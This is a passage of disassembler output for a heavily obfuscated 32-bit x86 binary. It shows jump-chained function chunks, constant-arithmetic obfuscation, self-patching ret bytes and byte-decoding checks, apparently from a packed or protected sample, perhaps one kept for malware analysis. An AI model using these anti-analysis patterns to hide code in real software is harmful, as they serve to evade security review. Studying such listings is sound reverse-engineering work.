; START OF FUNCTION CHUNK FOR sub_44DAA6 loc_449344: ; CODE XREF: sub_44DAA6+Dj jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_44DAA6 ; --------------------------------------------------------------------------- adc edx, 82AD852Bh sbb ebx, ecx sbb esi, edi mov edi, [ecx] jl loc_43CC84 jmp loc_4412AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C194 loc_449360: ; CODE XREF: sub_44C194+1Fj push edx push offset loc_44B9BA loc_449366: ; CODE XREF: y22d6.y.:00444758j jmp loc_44D4E2 ; END OF FUNCTION CHUNK FOR sub_44C194 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439096 loc_44936B: ; CODE XREF: sub_439096+9B17j push eax call sub_44625B ; END OF FUNCTION CHUNK FOR sub_439096 ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_449371: ; CODE XREF: sub_44DB81-14019j jmp loc_43E343 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- push 46884E60h pop eax add eax, 0EF9385AFh rol eax, 5 add eax, 5260BAFh rol eax, 8 jmp loc_44DDDE ; --------------------------------------------------------------------------- mov [ecx], esi jmp sub_445DB1 ; --------------------------------------------------------------------------- loc_44939A: ; DATA XREF: sub_43BC16+6o pop edx mov eax, [esp] push ebp mov ebp, edx xchg ebp, [esp] nop push 8DD17669h pop eax jmp loc_43B82E ; --------------------------------------------------------------------------- loc_4493B0: ; DATA XREF: sub_44ABC9+7o mov eax, [ebp-4] mov al, [eax] jb loc_440C9C sub al, 99h push 0CE18BD0Ah sub edx, 852B5CDCh jmp loc_44DE9E ; --------------------------------------------------------------------------- loc_4493CD: ; CODE XREF: y22d6.y.:0043D958j test esi, 5E2203B9h jmp loc_440F29 ; --------------------------------------------------------------------------- loc_4493D8: ; CODE XREF: y22d6.y.:0043C028j or edi, 4583E51h and edi, 0CAE2F11Fh add edi, 0DBE54631h sub eax, edi pop edi xor eax, 39C2189Dh jmp loc_438AF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_4493F8: ; CODE XREF: sub_440280-741Fj ja loc_44D562 loc_4493FE: ; CODE XREF: sub_440280:loc_44B235j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_43FBCC jmp loc_44A4C8 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_44940F: ; CODE XREF: sub_43AD2F+10166j jz loc_4373CB jmp loc_4439A5 ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_44941A: ; CODE XREF: sub_4416F3+768Fj mov [ebp-4], eax ; END OF FUNCTION CHUNK FOR sub_4416F3 ; START OF FUNCTION CHUNK FOR sub_43C712 loc_44941D: ; CODE XREF: sub_44BBBA:loc_438130j ; sub_43C712:loc_43C721j ... mov eax, [ebp-24h] call sub_43AB31 mov [ebp-0Ch], eax mov word ptr [ebp-6], 0FFFFh jmp loc_44CBF3 ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CA1A loc_449433: ; CODE XREF: sub_43CA1A+106EDj mov eax, [ebp-24h] mov al, [eax] push offset sub_44571D jmp nullsub_235 ; END OF FUNCTION CHUNK FOR sub_43CA1A ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_449442 proc near ; CODE XREF: sub_448EB6:loc_4451C2j retn sub_449442 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E51C loc_449443: ; CODE XREF: sub_44E51C+Aj jmp loc_442D6C ; END OF FUNCTION CHUNK FOR sub_44E51C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_303. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ED31 loc_449449: ; CODE XREF: sub_43ED31+18j jmp loc_43B613 ; END OF FUNCTION CHUNK FOR sub_43ED31 ; --------------------------------------------------------------------------- and ebp, ebx rol eax, 10h jmp sub_44122D ; --------------------------------------------------------------------------- loc_449458: ; CODE XREF: y22d6.y.:0043ACD1j jge loc_440428 mov edx, [eax] ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_449460: ; CODE XREF: sub_43A6E1+5DAj ; y22d6.y.:0043EDFEj push offset loc_43C015 jmp loc_44C6FE ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBD3 loc_44946A: ; CODE XREF: sub_43CBD3+7j mov eax, ds:dword_4413F8 or eax, eax jnz loc_43751E jmp loc_44DECE ; END OF FUNCTION CHUNK FOR sub_43CBD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C62A loc_44947D: ; CODE XREF: sub_43C62A:loc_44477Fj and ebx, 1389A296h add ebx, 0A95D8AB4h sub ebx, 93E58DF6h xor ebx, 47A9F9E8h sub eax, ebx jmp loc_44215D ; END OF FUNCTION CHUNK FOR sub_43C62A ; =============== S U B R O U T I N E ======================================= sub_44949C proc near ; CODE XREF: y22d6.y.:0043CE94p ; y22d6.y.:00441A09j arg_4 = dword ptr 8 xchg ebx, [esp+0] pop ebx pop edi xor eax, 9E6EE632h ror eax, 19h mov edx, [esp-8+arg_4] push edx jmp loc_442D5B sub_44949C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4494B4: ; CODE XREF: y22d6.y.:00449895j jmp loc_438409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4494B9: ; CODE XREF: sub_4432B8+1A4j jmp loc_43E3A3 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA98 loc_4494BE: ; CODE XREF: sub_43DA98+5j jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_43DA98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_4494C3: ; CODE XREF: sub_44AA69-133CFj jmp loc_445E9E ; END OF FUNCTION CHUNK FOR sub_44AA69 ; =============== S U B R O U T I N E ======================================= sub_4494C8 proc near ; DATA XREF: sub_44D313:loc_4444BFo arg_0 = dword ptr 4 add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_43EFB1 loc_4494DC: ; CODE XREF: y22d6.y.:0043D6C6j jmp nullsub_318 sub_4494C8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_4494E1: ; CODE XREF: sub_440494-6235j jmp sub_44ABC9 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442FA7 loc_4494E6: ; CODE XREF: sub_442FA7-9F95j ; y22d6.y.:loc_43C333j push eax lea eax, dword_4391A4 push edi push eax pop edi xchg edi, [esp+4+var_4] push eax jmp loc_437AD6 ; END OF FUNCTION CHUNK FOR sub_442FA7 ; --------------------------------------------------------------------------- loc_4494F9: ; CODE XREF: y22d6.y.:00448AF3j xchg esi, [esp] jmp nullsub_13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_449501: ; CODE XREF: sub_4432B8+A1DCj jo loc_445016 loc_449507: ; CODE XREF: sub_4432B8:loc_44D489j add esi, 719CF6EBh xor eax, esi pop esi jmp loc_439154 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_449515: ; CODE XREF: sub_442C0C-799Ej ; sub_43B98D:loc_43D2EEj ... jmp loc_44820A ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449C1B loc_44951A: ; CODE XREF: y22d6.y.:0044D4ACj ; sub_449C1B+47D8j pop ecx xchg edi, [esp-4+arg_0] mov ebp, edi call sub_438E7B ; END OF FUNCTION CHUNK FOR sub_449C1B ; START OF FUNCTION CHUNK FOR sub_4480DE loc_449525: ; CODE XREF: sub_4480DE+436Bj jmp loc_43A1CB ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- loc_44952A: ; CODE XREF: y22d6.y.:loc_444FA4j mov ds:dword_41E084, eax lea eax, nullsub_332 mov byte ptr [eax], 0C3h jmp near ptr dword_43B630+9 ; --------------------------------------------------------------------------- loc_44953E: ; CODE XREF: y22d6.y.:loc_44BCC8j mov eax, [esp] push edx call sub_449ECF jmp loc_43B4E8 ; --------------------------------------------------------------------------- rol edi, 1Dh jmp loc_43E184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_449554: ; CODE XREF: sub_44B1D2-A155j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_437CFE jmp loc_43B730 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- loc_449568: ; CODE XREF: y22d6.y.:loc_44CF9Aj jz loc_448AC2 pop ecx jmp loc_448AB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_449574: ; CODE XREF: sub_44633F:loc_43C03Fj or esi, 172A2B6Ah jns loc_43F2F9 and edi, ecx jmp loc_4393F3 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_449587: ; CODE XREF: sub_44B17B:loc_4393D1j xor edx, ebx not ecx jmp loc_44E20F ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- loc_449590: ; CODE XREF: y22d6.y.:loc_43F10Dj xchg eax, [esp] mov ebx, edx xchg ebx, [esp] call sub_443C3C push 0A915BFC3h jmp loc_43EC3D ; --------------------------------------------------------------------------- loc_4495A7: ; CODE XREF: y22d6.y.:loc_43F94Aj jz loc_43D2B8 and esi, edi rol esi, 0Ah not ebx ; START OF FUNCTION CHUNK FOR sub_439C96 loc_4495B4: ; CODE XREF: sub_439C96:loc_43F938j add edi, 8B9BEAE5h rol edi, 1Eh jmp loc_43E6E1 ; END OF FUNCTION CHUNK FOR sub_439C96 ; --------------------------------------------------------------------------- pushf jmp sub_43D796 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_4495C8: ; CODE XREF: sub_43C7C1+755Ej rol ecx, 1Eh sbb edx, ebp ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_4495CD: ; CODE XREF: sub_4409F4:loc_43AE59j add edx, 48565DF7h rol edx, 1 push offset loc_4473D0 jmp nullsub_138 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; --------------------------------------------------------------------------- mov eax, 0D53D974Bh call sub_43CA1A mov ds:off_41E054, eax lea eax, sub_43BCA9 mov byte ptr [eax], 0C3h jmp loc_44903F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_4495FD: ; CODE XREF: sub_43BCA9j pop edx jmp loc_448DD1 ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- loc_449603: ; CODE XREF: y22d6.y.:0044C064j jz loc_43C4E9 jmp loc_43BE1F ; --------------------------------------------------------------------------- loc_44960E: ; DATA XREF: sub_4481EF:loc_43A9F4o call sub_44ABAA pop ecx jmp loc_449E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_449619: ; CODE XREF: sub_44CB3F+4j test byte ptr [ebp-8], 2 jz loc_449826 push ebp mov eax, [ebp-20h] call sub_44ABAA pop ecx jmp loc_449823 ; END OF FUNCTION CHUNK FOR sub_44CB3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44511C loc_449632: ; CODE XREF: sub_44511C-81FDj pop esi lea eax, sub_44D83F mov byte ptr [eax], 0C3h jmp sub_44D83F ; END OF FUNCTION CHUNK FOR sub_44511C ; =============== S U B R O U T I N E ======================================= sub_449641 proc near ; CODE XREF: sub_40140A+13Dp ; y22d6.y.:0043E333j ; DATA XREF: ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437035 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004371FC SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00438141 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0043833A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00439351 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004397C5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00439B6D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00439D88 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043A0BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A21B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BC2D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C2EF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CC32 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043D40A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D702 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043D787 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DB2B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043DC66 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043DDA5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043E343 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043E394 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EEE5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F27D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043F32F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043F6DA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043FB62 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004413F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004415F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044245A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442ACC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00443198 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00443EEC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446193 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447D9C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448460 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044887D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448917 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449AD5 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044A0DF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044B4B6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044DF17 SIZE 0000000B BYTES push edi push 0B1FF81E1h pop edi sub edi, 0D5F98016h jmp loc_4415F1 sub_449641 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_449653: ; CODE XREF: y22d6.y.:0044A137j shl ebp, 1Ch xor eax, 217A8768h and ecx, esi loc_44965E: ; CODE XREF: y22d6.y.:0044BE07j add ebx, 0A84FCD85h mov [ebx], eax pop ebx jmp loc_442287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44966C: ; CODE XREF: sub_44BCC2-13471j jbe loc_43B851 loc_449672: ; CODE XREF: sub_44BCC2:loc_440AA4j mov eax, [ebp-18h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx loc_44967D: ; CODE XREF: sub_44D5B4+9j push edx jmp loc_438D4F ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_449683: ; CODE XREF: sub_44B674-ADE4j jno loc_449CD3 loc_449689: ; CODE XREF: sub_44E63C:loc_43F33Fj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_439B48 jmp loc_442AA6 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- loc_44969D: ; CODE XREF: y22d6.y.:0043AFE8j add esi, 1A3E5B66h ; =============== S U B R O U T I N E ======================================= sub_4496A3 proc near ; CODE XREF: sub_4480DE-7E24p ; FUNCTION CHUNK AT 0044C431 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044D3E5 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-4] inc eax mov eax, [eax] jmp loc_44D3E5 sub_4496A3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_4496B2: ; CODE XREF: sub_4480DE:loc_44D2C1j mov eax, [ebp+var_4] call sub_438F66 jmp loc_43B5B0 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- loc_4496BF: ; CODE XREF: y22d6.y.:00438C89j push edi jz loc_43ED57 ; START OF FUNCTION CHUNK FOR sub_43C17E loc_4496C6: ; CODE XREF: sub_43C17E+Cj add eax, 0A573F167h rol eax, 0Eh xor eax, 0F6E19910h push eax push 1F855A21h xchg edi, [esp+8+var_8] jmp loc_439270 ; END OF FUNCTION CHUNK FOR sub_43C17E ; =============== S U B R O U T I N E ======================================= sub_4496E3 proc near ; DATA XREF: sub_4432B8:loc_443364o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00440E94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044980A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044D91A SIZE 00000015 BYTES pop edx mov eax, [esp-4+arg_0] push edx call sub_440AF5 push 0D6ED1427h jmp loc_44D91A sub_4496E3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_4496F7: ; CODE XREF: sub_43EC1C+302Cj pop edx or edx, 0A49A31DEh rol edx, 1 cmp edx, 0E9AD1448h jmp loc_439F84 ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- loc_44970B: ; CODE XREF: y22d6.y.:00442390j or edx, eax adc esi, ecx loc_44970F: ; CODE XREF: y22d6.y.:loc_442373j add ecx, 3D80331Eh xchg ecx, [esp] jmp nullsub_198 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44971D: ; CODE XREF: sub_44271A:loc_4481E3j xchg ebx, [esp+0] jmp loc_44DE8E ; END OF FUNCTION CHUNK FOR sub_44271A ; =============== S U B R O U T I N E ======================================= sub_449725 proc near ; CODE XREF: sub_4432B8-7F21p ; y22d6.y.:00441E8Cj xchg edx, [esp+0] pop edx call sub_449739 mov ds:dword_44659C, eax retn sub_449725 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BA21 loc_449734: ; CODE XREF: sub_44BA21+11j jmp loc_43D0B5 ; END OF FUNCTION CHUNK FOR sub_44BA21 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449739 proc near ; CODE XREF: sub_43B01D+4p ; y22d6.y.:0043C76Fp ... ; FUNCTION CHUNK AT 004429DC SIZE 00000005 BYTES push ebp mov ebp, esp jno sub_4499C1 jmp loc_4429DC sub_449739 endp ; --------------------------------------------------------------------------- loc_449747: ; CODE XREF: y22d6.y.:loc_441E00j add eax, 0BD3B781Dh xchg eax, [esp] jmp loc_44460E ; --------------------------------------------------------------------------- loc_449755: ; CODE XREF: y22d6.y.:00441AA8j jo loc_44C6D6 sub edi, edx mov ebp, ebx loc_44975F: ; CODE XREF: y22d6.y.:loc_43B3B4j xor ebx, 1CFAC504h add ebx, 1E2730CBh xchg ebx, [esp] jmp loc_43ABA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_449773: ; CODE XREF: sub_444581:loc_44B55Ej mov eax, ebp pushf jmp loc_441046 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44313A loc_44977B: ; CODE XREF: sub_44313A+679j mov ecx, edx xchg ecx, [esp+0] call sub_44A413 push 342421B7h pop eax jmp loc_448952 ; END OF FUNCTION CHUNK FOR sub_44313A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DCC0 loc_449790: ; CODE XREF: sub_43DCC0+Fj xchg esi, [esp+8+var_8] push edx mov edx, eax xchg edx, [esp+0Ch+var_C] jmp loc_444C04 ; END OF FUNCTION CHUNK FOR sub_43DCC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_44979E: ; CODE XREF: sub_43E81B-448Dj mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_43B749 jmp loc_44B0BC ; END OF FUNCTION CHUNK FOR sub_43E81B ; =============== S U B R O U T I N E ======================================= sub_4497AF proc near ; DATA XREF: y22d6.y.:loc_44CF82o ; FUNCTION CHUNK AT 00440173 SIZE 00000005 BYTES add edi, 0A1B0106Ch xchg edi, [esp+0] jmp loc_440173 sub_4497AF endp ; --------------------------------------------------------------------------- loc_4497BD: ; CODE XREF: y22d6.y.:0043A4BEj jg nullsub_164 xor ecx, 53E62D1Bh jmp sub_43A8EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_4497CE: ; CODE XREF: sub_43A6E1:loc_43BE8Aj ; sub_43A6E1+FDD1j mov eax, 1F56AC7Bh call sub_43CA1A sub eax, 0B71B9529h push offset loc_43C2C4 jmp loc_43AC52 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- loc_4497E8: ; CODE XREF: y22d6.y.:00437B2Bj jns loc_440E3E pop edi jmp sub_446236 ; --------------------------------------------------------------------------- loc_4497F4: ; CODE XREF: y22d6.y.:00438CDBj pop edx call edx xor eax, eax push esi jmp loc_4380B9 ; --------------------------------------------------------------------------- loc_4497FF: ; CODE XREF: y22d6.y.:00442B6Ej test ebx, 1044BABBh jmp loc_44B5A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4496E3 loc_44980A: ; CODE XREF: sub_4496E3:loc_440E94j and eax, 72F0BAB5h xor eax, 65FBA1E3h push ebp mov ebp, edx push offset sub_443B1F jmp loc_44339A ; END OF FUNCTION CHUNK FOR sub_4496E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_449823: ; CODE XREF: sub_44CB3F-3512j ; y22d6.y.:loc_449E93j mov [ebp-20h], eax loc_449826: ; CODE XREF: sub_44CB3F-3522j ; sub_44CB3F+Ej jno loc_4371AE push offset loc_44719C jmp nullsub_330 ; END OF FUNCTION CHUNK FOR sub_44CB3F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_449837: ; CODE XREF: sub_43C7C1:loc_43F081j jmp loc_43A507 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CB9B loc_44983C: ; CODE XREF: sub_43CB9B+7j jmp loc_444608 ; END OF FUNCTION CHUNK FOR sub_43CB9B ; --------------------------------------------------------------------------- push 54219F4h pop eax or eax, 9CA21C51h ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44984D: ; CODE XREF: sub_448EB6:loc_4490EEj and eax, 294BDD6Eh xor eax, 2F5FDF76h jmp loc_44BDD7 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_44985E: ; CODE XREF: sub_43B98D:loc_44282Cj cmp dword ptr [eax-1Ch], 0F6h jz loc_44221B mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_443ABE jmp loc_44221B ; END OF FUNCTION CHUNK FOR sub_43B98D ; =============== S U B R O U T I N E ======================================= sub_449880 proc near ; DATA XREF: sub_4399C6-21D6o ; FUNCTION CHUNK AT 0043F482 SIZE 00000005 BYTES add edi, 2836188Ch xchg edi, [esp+0] jmp loc_43F482 sub_449880 endp ; --------------------------------------------------------------------------- push edx push 0AFD0106Dh pop edx jmp loc_4494B4 ; --------------------------------------------------------------------------- loc_44989A: ; DATA XREF: sub_43EC92+B350o push 973FF546h pop eax sub eax, 3C0E64EEh add eax, 0A513471Bh xchg eax, [esp] jmp loc_441BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4498B4: ; CODE XREF: sub_448EB6:loc_43DCFDj cmp byte ptr [eax], 0 jnz loc_44D272 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_4498C7: ; CODE XREF: sub_43E81B+19j jmp loc_445E21 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439CB5 loc_4498CC: ; CODE XREF: sub_439CB5+18CAj jmp sub_44B267 ; END OF FUNCTION CHUNK FOR sub_439CB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4498D1: ; CODE XREF: sub_448EB6:loc_449096j mov eax, [ebp-4] jmp loc_447FBD ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_4498D9: ; CODE XREF: y22d6.y.:0044BAA8j mov ebx, 1A373C95h ; =============== S U B R O U T I N E ======================================= sub_4498DE proc near ; CODE XREF: sub_448B71:loc_44D7F5p ; FUNCTION CHUNK AT 00438D5F SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xor eax, eax mov [ebp-8], eax jmp loc_438D5F sub_4498DE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_4498EC: ; CODE XREF: sub_44CB3F-FCEAj test byte ptr [ebp-8], 8 jz loc_444720 push ebp jmp loc_43ABE8 ; END OF FUNCTION CHUNK FOR sub_44CB3F ; --------------------------------------------------------------------------- loc_4498FC: ; CODE XREF: y22d6.y.:loc_443159j mov eax, [esp] loc_4498FF: ; CODE XREF: y22d6.y.:loc_4474E5j call near ptr dword_43D2DC+3 ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_449904: ; CODE XREF: sub_44B1D2:loc_43B8F8j cmp edx, 9FE84051h jmp loc_43BDAA ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_263. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_449910: ; CODE XREF: sub_444427+3800j jmp loc_44704C ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_449915: ; CODE XREF: sub_44AEDA-8640j jmp loc_44219A ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44991A: ; CODE XREF: sub_43B09B:loc_43CC58j jle loc_43AC0B loc_449920: ; CODE XREF: sub_442856:loc_44280Aj push 8908DC8Ah pop eax or eax, 18085593h test eax, 80000000h jmp loc_43EAA4 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439407 loc_449937: ; CODE XREF: sub_439407:loc_441D6Cj jnz loc_44763E jmp loc_44438F ; END OF FUNCTION CHUNK FOR sub_439407 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443778 loc_449942: ; CODE XREF: sub_443778-AF4Aj and esi, 6A4741BDh add esi, 0DE410202h xchg esi, [esp+4+var_4] jmp loc_440320 ; END OF FUNCTION CHUNK FOR sub_443778 ; =============== S U B R O U T I N E ======================================= sub_449956 proc near ; CODE XREF: y22d6.y.:0043E015j ; y22d6.y.:00445959p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043E5FA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00442ABC SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov eax, [esp+0] push ebx mov ebx, edx xchg ebx, [esp+0] call sub_44ABDD mov eax, 0D6CB94Ch jmp loc_442ABC sub_449956 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_449972: ; CODE XREF: sub_43D20E:loc_439C1Fj mov edx, edi pop edi mov eax, [esp+0] push edx push esi jmp loc_441958 ; END OF FUNCTION CHUNK FOR sub_43D20E ; =============== S U B R O U T I N E ======================================= sub_44997F proc near ; CODE XREF: sub_43A9C6+3526j ; FUNCTION CHUNK AT 00440A06 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00448E2B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044BF6C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044D1BD SIZE 00000019 BYTES push ebx push 